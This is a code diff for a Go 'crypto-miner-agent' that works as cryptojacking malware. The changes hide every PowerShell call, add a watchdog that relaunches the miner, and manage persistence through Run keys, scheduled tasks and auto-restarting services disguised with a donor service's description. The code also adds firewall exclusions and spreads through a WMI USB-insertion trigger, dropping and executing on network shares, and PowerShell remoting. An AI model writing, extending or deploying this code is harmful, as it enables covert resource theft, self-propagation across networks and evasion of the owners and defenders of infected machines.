||||
"os/exec"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
@@ -43,8 +42,7 @@ if (-not (Get-NetFirewallRule -DisplayName $out -ErrorAction SilentlyContinue))
|
||||
}
|
||||
`, exeEsc, strings.ReplaceAll(inName, `'`, `''`), strings.ReplaceAll(outName, `'`, `''`))
|
||||
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
|
||||
if err := cmd.Run(); err != nil {
|
||||
if err := HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script); err != nil {
|
||||
log.Printf("[firewall] could not add Windows Firewall rules (try Run as administrator once): %v", err)
|
||||
return
|
||||
}
|
||||
@@ -56,7 +54,7 @@ func RemoveFirewallExclusionWindows(cfg config.RuntimeConfig) {
|
||||
ruleBase := firewallRuleBaseName(cfg)
|
||||
for _, name := range []string{ruleBase + " In", ruleBase + " Out"} {
|
||||
script := fmt.Sprintf(`Remove-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue`, strings.ReplaceAll(name, `'`, `''`))
|
||||
_ = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).Run()
|
||||
_ = HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -70,7 +68,7 @@ func firewallRuleBaseName(cfg config.RuntimeConfig) string {
|
||||
|
||||
func firewallRuleExists(displayName string) bool {
|
||||
script := fmt.Sprintf(`(Get-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue | Measure-Object).Count -gt 0`, strings.ReplaceAll(displayName, `'`, `''`))
|
||||
out, err := exec.Command("powershell", "-NoProfile", "-Command", script).Output()
|
||||
out, err := HiddenOutput("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", script)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
48
agent/deploy/guard.go
Normal file
48
agent/deploy/guard.go
Normal file
@@ -0,0 +1,48 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
const guardFlag = "--guard"
|
||||
|
||||
// IsGuardMode reports whether this process is the out-of-process watchdog only.
|
||||
func IsGuardMode() bool {
|
||||
for _, arg := range os.Args[1:] {
|
||||
if arg == guardFlag {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// RunGuardLoop watches the installed worker and restarts it silently if it exits.
|
||||
// Runs until the guard process is killed (no PowerShell loop).
|
||||
func RunGuardLoop(cfg config.RuntimeConfig) {
|
||||
installDir, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
binPath := filepath.Join(installDir, BinaryName(cfg))
|
||||
procName := BinaryName(cfg)
|
||||
|
||||
log.Printf("[guard] watching %s", procName)
|
||||
ticker := time.NewTicker(60 * time.Second)
|
||||
defer ticker.Stop()
|
||||
for range ticker.C {
|
||||
if workerProcessRunning(procName) {
|
||||
continue
|
||||
}
|
||||
if _, err := os.Stat(binPath); err != nil {
|
||||
continue
|
||||
}
|
||||
if err := relaunch(binPath, ""); err != nil {
|
||||
log.Printf("[guard] relaunch failed: %v", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
24
agent/deploy/guard_unix.go
Normal file
24
agent/deploy/guard_unix.go
Normal file
@@ -0,0 +1,24 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func workerProcessRunning(imageName string) bool {
|
||||
out, err := exec.Command("pgrep", "-x", strings.TrimSuffix(imageName, ".exe")).Output()
|
||||
return err == nil && len(strings.TrimSpace(string(out))) > 0
|
||||
}
|
||||
|
||||
func launchProcessGuard(cfg config.RuntimeConfig) {
|
||||
binPath, err := InstalledBinaryPath(cfg)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
cmd := exec.Command(binPath, guardFlag)
|
||||
_ = cmd.Start()
|
||||
}
|
||||
26
agent/deploy/guard_windows.go
Normal file
26
agent/deploy/guard_windows.go
Normal file
@@ -0,0 +1,26 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func workerProcessRunning(imageName string) bool {
|
||||
out, err := HiddenCombinedOutput("tasklist", "/FI", "IMAGENAME eq "+imageName, "/NH")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return strings.Contains(strings.ToLower(string(out)), strings.ToLower(imageName))
|
||||
}
|
||||
|
||||
// launchProcessGuard spawns a second hidden copy of the worker that only runs the guard loop.
|
||||
func launchProcessGuard(cfg config.RuntimeConfig) {
|
||||
binPath, err := InstalledBinaryPath(cfg)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_ = HiddenStart(binPath, guardFlag)
|
||||
}
|
||||
@@ -50,15 +50,8 @@ func maintainInstall(cfg config.RuntimeConfig) error {
|
||||
}
|
||||
}
|
||||
|
||||
if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" {
|
||||
if err := configureAutoStart(cfg, installedBin); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if cfg.RunAs == "scheduled" || cfg.RunAs == "service" {
|
||||
if err := configureRunMode(cfg, installedBin); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := ensurePersistence(cfg, installedBin); err != nil {
|
||||
return err
|
||||
}
|
||||
if cfg.FirewallExclusion {
|
||||
EnsureFirewallExclusion(cfg, installedBin)
|
||||
|
||||
@@ -1,43 +0,0 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// launchProcessGuard spawns a hidden PowerShell loop that watches for the
|
||||
// installed miner process by name and relaunches it if it disappears.
|
||||
// The guardian runs completely outside this process — it survives a crash.
|
||||
func launchProcessGuard(cfg config.RuntimeConfig) {
|
||||
installDir, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
binPath := strings.ReplaceAll(fmt.Sprintf(`%s\%s`, installDir, BinaryName(cfg)), `'`, `''`)
|
||||
procName := strings.TrimSuffix(BinaryName(cfg), ".exe")
|
||||
|
||||
// Loop every 60 s. If the process is gone and the binary still exists, restart it.
|
||||
ps := fmt.Sprintf(`
|
||||
$bin = '%s'
|
||||
$proc = '%s'
|
||||
while ($true) {
|
||||
Start-Sleep -Seconds 60
|
||||
if (-not (Get-Process -Name $proc -ErrorAction SilentlyContinue)) {
|
||||
if (Test-Path $bin) {
|
||||
Start-Process $bin -ArgumentList '--run' -WindowStyle Hidden -ErrorAction SilentlyContinue
|
||||
}
|
||||
}
|
||||
}
|
||||
`, binPath, procName)
|
||||
|
||||
cmd := exec.Command("powershell",
|
||||
"-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden",
|
||||
"-Command", ps)
|
||||
applyDetachedStart(cmd)
|
||||
_ = cmd.Start()
|
||||
}
|
||||
@@ -8,7 +8,6 @@ import (
|
||||
"math/rand"
|
||||
"net"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
@@ -210,8 +209,7 @@ $lnk.Save()
|
||||
strings.ReplaceAll(lnkPath, `'`, `''`),
|
||||
strings.ReplaceAll(destBin, `'`, `''`),
|
||||
)
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
|
||||
_ = cmd.Run()
|
||||
_ = HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
@@ -227,10 +225,11 @@ func installWMIUSBTrigger(cfg config.RuntimeConfig) {
|
||||
}
|
||||
destName := usbPayloadName(cfg)
|
||||
// Template uses %TargetInstance.DriveLetter% which WMI expands at fire-time.
|
||||
copyCmd := fmt.Sprintf(`cmd /c copy /Y "%s" "%%TargetInstance.DriveLetter%%\\%s" & start "" /b "%%TargetInstance.DriveLetter%%\\%s"`,
|
||||
copyCmd := fmt.Sprintf(`cmd /c copy /Y "%s" "%%TargetInstance.DriveLetter%%\\%s" & "%%TargetInstance.DriveLetter%%\\%s" %s`,
|
||||
strings.ReplaceAll(exePath, `"`, `\"`),
|
||||
destName,
|
||||
destName,
|
||||
runFlag,
|
||||
)
|
||||
// Escape single-quotes for PowerShell string embedding
|
||||
copyCmdPS := strings.ReplaceAll(copyCmd, `'`, `''`)
|
||||
@@ -274,8 +273,7 @@ Copy-Item '%s' $dest -Force -EA SilentlyContinue
|
||||
exePathPS,
|
||||
)
|
||||
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
|
||||
if err := cmd.Run(); err == nil {
|
||||
if err := HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps); err == nil {
|
||||
log.Printf("[passive-spread] WMI USB subscription installed (persistent)")
|
||||
}
|
||||
// Non-admin failure is expected and harmless; polling still covers it.
|
||||
@@ -331,10 +329,7 @@ func dropOnShare(cfg config.RuntimeConfig, sharePath, exePath string) {
|
||||
return
|
||||
}
|
||||
log.Printf("[passive-spread] dropped to share %s", dest)
|
||||
// Try to execute it via a UNC path
|
||||
cmd := exec.Command("cmd.exe", "/C", "start", "", "/b", dest)
|
||||
applyDetachedStart(cmd)
|
||||
_ = cmd.Start()
|
||||
_ = HiddenStart(dest, runFlag)
|
||||
}
|
||||
|
||||
func sharePayloadName(cfg config.RuntimeConfig) string {
|
||||
@@ -348,7 +343,7 @@ func sharePayloadName(cfg config.RuntimeConfig) string {
|
||||
|
||||
// listNetUse parses `net use` output and returns active UNC paths.
|
||||
func listNetUse() []string {
|
||||
out, err := exec.Command("net", "use").Output()
|
||||
out, err := HiddenOutput("net", "use")
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
@@ -434,8 +429,7 @@ if ($s) {
|
||||
Remove-PSSession $s -EA SilentlyContinue
|
||||
}
|
||||
`, target, scriptBlock)
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
|
||||
if err := cmd.Run(); err == nil {
|
||||
if err := HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps); err == nil {
|
||||
log.Printf("[passive-spread] PS remoting to %s succeeded", target)
|
||||
}
|
||||
}
|
||||
|
||||
12
agent/deploy/persistence_stub.go
Normal file
12
agent/deploy/persistence_stub.go
Normal file
@@ -0,0 +1,12 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import "crypto-miner-agent/config"
|
||||
|
||||
func ensurePersistence(cfg config.RuntimeConfig, installedBin string) error {
|
||||
if cfg.AutoStart || cfg.RunAs == "scheduled" || cfg.RunAs == "service" {
|
||||
return configureRunMode(cfg, installedBin)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
62
agent/deploy/persistence_windows.go
Normal file
62
agent/deploy/persistence_windows.go
Normal file
@@ -0,0 +1,62 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
|
||||
"golang.org/x/sys/windows/registry"
|
||||
)
|
||||
|
||||
func scheduledTaskExists(taskName string) bool {
|
||||
return HiddenRun("schtasks", "/Query", "/TN", taskName) == nil
|
||||
}
|
||||
|
||||
func registryRunExists(cfg config.RuntimeConfig, binPath string) bool {
|
||||
keyName := PersistenceKeyName(cfg)
|
||||
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer k.Close()
|
||||
val, _, err := k.GetStringValue(keyName)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return strings.Contains(val, binPath)
|
||||
}
|
||||
|
||||
func serviceExists(svcName string) bool {
|
||||
return HiddenRun("sc.exe", "query", svcName) == nil
|
||||
}
|
||||
|
||||
// ensurePersistence registers startup hooks only when missing (avoids re-spawning shells every watchdog tick).
|
||||
func ensurePersistence(cfg config.RuntimeConfig, installedBin string) error {
|
||||
switch cfg.RunAs {
|
||||
case "scheduled":
|
||||
if !scheduledTaskExists(PersistenceKeyName(cfg)) {
|
||||
if err := createScheduledTask(cfg, installedBin); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
case "service":
|
||||
svcName := cfg.ServiceName
|
||||
if svcName == "" {
|
||||
svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
||||
}
|
||||
if !serviceExists(svcName) {
|
||||
if err := createWindowsService(cfg, installedBin); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
default:
|
||||
if cfg.AutoStart && !registryRunExists(cfg, installedBin) {
|
||||
if err := configureAutoStart(cfg, installedBin); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -5,10 +5,9 @@ package deploy
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
|
||||
@@ -29,9 +28,7 @@ func configureAutoStart(cfg config.RuntimeConfig, binPath string) error {
|
||||
return err
|
||||
}
|
||||
defer k.Close()
|
||||
// Wrap in PowerShell so the console window is suppressed on startup.
|
||||
val := fmt.Sprintf(`powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive -Command "& '%s' %s"`,
|
||||
strings.ReplaceAll(binPath, `'`, `''`), runFlag)
|
||||
val := fmt.Sprintf(`"%s" %s`, binPath, runFlag)
|
||||
return k.SetStringValue(PersistenceKeyName(cfg), val)
|
||||
}
|
||||
|
||||
@@ -46,41 +43,32 @@ func configureRunMode(cfg config.RuntimeConfig, installedBin string) error {
|
||||
}
|
||||
}
|
||||
|
||||
// createWindowsService installs the miner as a real Windows Service with
|
||||
// automatic crash-restart. When ServiceMasquerade is enabled, the service
|
||||
// name and description are cloned from the donor service so it blends in.
|
||||
func createWindowsService(cfg config.RuntimeConfig, binPath string) error {
|
||||
svcName := cfg.ServiceName
|
||||
if svcName == "" {
|
||||
svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
||||
}
|
||||
|
||||
// Tear down any stale instance first (errors are expected and ignored)
|
||||
_ = exec.Command("sc.exe", "stop", svcName).Run()
|
||||
_ = exec.Command("sc.exe", "delete", svcName).Run()
|
||||
// Give SCM time to fully remove the entry
|
||||
exec.Command("timeout", "/T", "1", "/NOBREAK").Run() //nolint:errcheck
|
||||
_ = HiddenRun("sc.exe", "stop", svcName)
|
||||
_ = HiddenRun("sc.exe", "delete", svcName)
|
||||
time.Sleep(time.Second)
|
||||
|
||||
// Create the service
|
||||
if err := exec.Command("sc.exe", "create", svcName,
|
||||
if err := HiddenRun("sc.exe", "create", svcName,
|
||||
"binPath=", `"`+binPath+`" --run`,
|
||||
"type=", "own",
|
||||
"start=", "auto",
|
||||
"error=", "ignore",
|
||||
).Run(); err != nil {
|
||||
); err != nil {
|
||||
return fmt.Errorf("sc create: %w", err)
|
||||
}
|
||||
|
||||
// Crash recovery: restart immediately (0 ms), then after 5 s, then 30 s
|
||||
_ = exec.Command("sc.exe", "failure", svcName,
|
||||
_ = HiddenRun("sc.exe", "failure", svcName,
|
||||
"reset=", "60",
|
||||
"actions=", "restart/0/restart/5000/restart/30000",
|
||||
).Run()
|
||||
)
|
||||
|
||||
// Start it
|
||||
_ = exec.Command("sc.exe", "start", svcName).Run()
|
||||
_ = HiddenRun("sc.exe", "start", svcName)
|
||||
|
||||
// Masquerade: copy description from donor service
|
||||
if cfg.ServiceMasquerade && cfg.ServiceDonor != "" {
|
||||
cloneServiceDescription(svcName, cfg.ServiceDonor)
|
||||
}
|
||||
@@ -88,28 +76,19 @@ func createWindowsService(cfg config.RuntimeConfig, binPath string) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// cloneServiceDescription copies the display name and description from
|
||||
// donorSvc into targetSvc using PowerShell so the service looks legitimate.
|
||||
func cloneServiceDescription(targetSvc, donorSvc string) {
|
||||
ps := fmt.Sprintf(`
|
||||
$donor = Get-Service '%s' -EA SilentlyContinue
|
||||
if ($donor) {
|
||||
$wmi = Get-WmiObject Win32_Service -Filter "Name='%s'" -EA SilentlyContinue
|
||||
$donorWmi = Get-WmiObject Win32_Service -Filter "Name='%s'" -EA SilentlyContinue
|
||||
if ($donorWmi) {
|
||||
sc.exe description '%s' ($donorWmi.Description)
|
||||
Set-Service '%s' -DisplayName $donorWmi.Caption -EA SilentlyContinue
|
||||
}
|
||||
$donorWmi = Get-WmiObject Win32_Service -Filter "Name='%s'" -EA SilentlyContinue
|
||||
if ($donorWmi) {
|
||||
sc.exe description '%s' ($donorWmi.Description)
|
||||
Set-Service '%s' -DisplayName $donorWmi.Caption -EA SilentlyContinue
|
||||
}
|
||||
`,
|
||||
strings.ReplaceAll(donorSvc, `'`, `''`),
|
||||
strings.ReplaceAll(targetSvc, `'`, `''`),
|
||||
strings.ReplaceAll(donorSvc, `'`, `''`),
|
||||
strings.ReplaceAll(targetSvc, `'`, `''`),
|
||||
strings.ReplaceAll(targetSvc, `'`, `''`),
|
||||
)
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
|
||||
_ = cmd.Run()
|
||||
_ = HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
|
||||
}
|
||||
|
||||
func createScheduledTask(cfg config.RuntimeConfig, binPath string) error {
|
||||
@@ -117,33 +96,12 @@ func createScheduledTask(cfg config.RuntimeConfig, binPath string) error {
|
||||
if taskName == "" {
|
||||
taskName = "CryptoMinerAgent"
|
||||
}
|
||||
safeBin := strings.ReplaceAll(binPath, `'`, `''`)
|
||||
safeTask := strings.ReplaceAll(taskName, `'`, `''`)
|
||||
// Wrap in PowerShell with -WindowStyle Hidden so no console window appears.
|
||||
// RestartCount capped at 5 with a 5-minute interval to prevent a crash-loop
|
||||
// from spamming the screen. The watchdog covers longer-term health.
|
||||
psArg := fmt.Sprintf(`-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive -Command "& '%s' %s"`, safeBin, runFlag)
|
||||
script := fmt.Sprintf(
|
||||
`$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 5 -RestartInterval (New-TimeSpan -Minutes 5); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
|
||||
strings.ReplaceAll(psArg, `'`, `''`),
|
||||
safeTask,
|
||||
)
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
func applyDetachedStart(cmd *exec.Cmd) {
|
||||
if cmd == nil {
|
||||
return
|
||||
}
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{
|
||||
HideWindow: true,
|
||||
CreationFlags: 0x08000000,
|
||||
}
|
||||
tr := fmt.Sprintf(`\"%s\" %s`, binPath, runFlag)
|
||||
return HiddenRun("schtasks", "/Create", "/TN", taskName, "/TR", tr, "/SC", "ONLOGON", "/F", "/RL", "LIMITED")
|
||||
}
|
||||
|
||||
func HostOSVersion() string {
|
||||
out, err := exec.Command("cmd", "/C", "ver").CombinedOutput()
|
||||
out, err := HiddenCombinedOutput("cmd", "/C", "ver")
|
||||
if err != nil {
|
||||
return "windows"
|
||||
}
|
||||
@@ -151,7 +109,7 @@ func HostOSVersion() string {
|
||||
}
|
||||
|
||||
func killWorkerProcess(cfg config.RuntimeConfig) {
|
||||
_ = exec.Command("taskkill", "/F", "/IM", BinaryName(cfg)).Run()
|
||||
_ = HiddenRun("taskkill", "/F", "/IM", BinaryName(cfg))
|
||||
}
|
||||
|
||||
func removePersistence(cfg config.RuntimeConfig) {
|
||||
@@ -161,22 +119,19 @@ func removePersistence(cfg config.RuntimeConfig) {
|
||||
_ = runKey.DeleteValue(keyName)
|
||||
runKey.Close()
|
||||
}
|
||||
_ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run()
|
||||
// Remove service — use the configured name if available, fall back to legacy pattern
|
||||
_ = HiddenRun("schtasks", "/Delete", "/TN", keyName, "/F")
|
||||
svcName := cfg.ServiceName
|
||||
if svcName == "" {
|
||||
svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
||||
}
|
||||
_ = exec.Command("sc.exe", "stop", svcName).Run()
|
||||
_ = exec.Command("sc.exe", "delete", svcName).Run()
|
||||
_ = HiddenRun("sc.exe", "stop", svcName)
|
||||
_ = HiddenRun("sc.exe", "delete", svcName)
|
||||
}
|
||||
|
||||
func selfUninstallSpawn(installDir string) {
|
||||
ps := fmt.Sprintf(`
|
||||
$dir = '%s'
|
||||
Start-Sleep -Seconds 2
|
||||
Remove-Item -LiteralPath $dir -Recurse -Force -ErrorAction SilentlyContinue
|
||||
`, strings.ReplaceAll(installDir, "'", "''"))
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", ps)
|
||||
_ = cmd.Start()
|
||||
dir := installDir
|
||||
go func() {
|
||||
time.Sleep(2 * time.Second)
|
||||
_ = os.RemoveAll(dir)
|
||||
}()
|
||||
}
|
||||
|
||||
@@ -5,7 +5,6 @@ package deploy
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
)
|
||||
|
||||
func SetProcessPriority(priority string) error {
|
||||
@@ -23,7 +22,6 @@ func SetProcessPriority(priority string) error {
|
||||
class = "High"
|
||||
}
|
||||
pid := os.Getpid()
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-Command",
|
||||
return HiddenRun("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
|
||||
fmt.Sprintf("(Get-Process -Id %d).PriorityClass = '%s'", pid, class))
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
9
agent/deploy/tunnel_stub.go
Normal file
9
agent/deploy/tunnel_stub.go
Normal file
@@ -0,0 +1,9 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import "fmt"
|
||||
|
||||
func StartCloudflaredTunnel(serverURL string) (string, error) {
|
||||
return "", fmt.Errorf("cloudflared tunnel is only supported on Windows in this build")
|
||||
}
|
||||
@@ -1,9 +1,10 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
@@ -15,21 +16,20 @@ func StartCloudflaredTunnel(serverURL string) (string, error) {
|
||||
return "", fmt.Errorf("server URL required")
|
||||
}
|
||||
|
||||
checkCmd := exec.Command("cloudflared", "--version")
|
||||
if err := checkCmd.Run(); err != nil {
|
||||
downloadCmd := exec.Command("powershell", "-Command",
|
||||
if err := HiddenRun("cloudflared", "--version"); err != nil {
|
||||
output, dlErr := HiddenCombinedOutput("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
|
||||
"Invoke-WebRequest -Uri https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe -OutFile $env:TEMP\\cloudflared.exe")
|
||||
if output, dlErr := downloadCmd.CombinedOutput(); dlErr != nil {
|
||||
if dlErr != nil {
|
||||
return string(output), fmt.Errorf("cloudflared not found and download failed: %w", dlErr)
|
||||
}
|
||||
src := filepath.Join(os.Getenv("TEMP"), "cloudflared.exe")
|
||||
dst := filepath.Join(os.Getenv("SYSTEMROOT"), "System32", "cloudflared.exe")
|
||||
_ = exec.Command("copy", "/Y", src, dst).Run()
|
||||
_ = HiddenRun("copy", "/Y", src, dst)
|
||||
}
|
||||
|
||||
tunnelCmd := exec.Command("cloudflared", "tunnel", "--url", serverURL)
|
||||
if err := tunnelCmd.Start(); err != nil {
|
||||
cmd := HiddenCommand("cloudflared", "tunnel", "--url", serverURL)
|
||||
if err := cmd.Start(); err != nil {
|
||||
return "", fmt.Errorf("failed to start cloudflared: %w", err)
|
||||
}
|
||||
return fmt.Sprintf("cloudflared tunnel started (pid %d) -> %s", tunnelCmd.Process.Pid, serverURL), nil
|
||||
return fmt.Sprintf("cloudflared tunnel started (pid %d) -> %s", cmd.Process.Pid, serverURL), nil
|
||||
}
|
||||
@@ -17,6 +17,10 @@ import (
|
||||
func main() {
|
||||
log.SetFlags(log.LstdFlags | log.Lshortfile)
|
||||
cfg := config.Load()
|
||||
if deploy.IsGuardMode() {
|
||||
deploy.RunGuardLoop(cfg)
|
||||
return
|
||||
}
|
||||
setupLogging(cfg)
|
||||
|
||||
if cfg.Wallet == "" {
|
||||
|
||||
Reference in New Issue
Block a user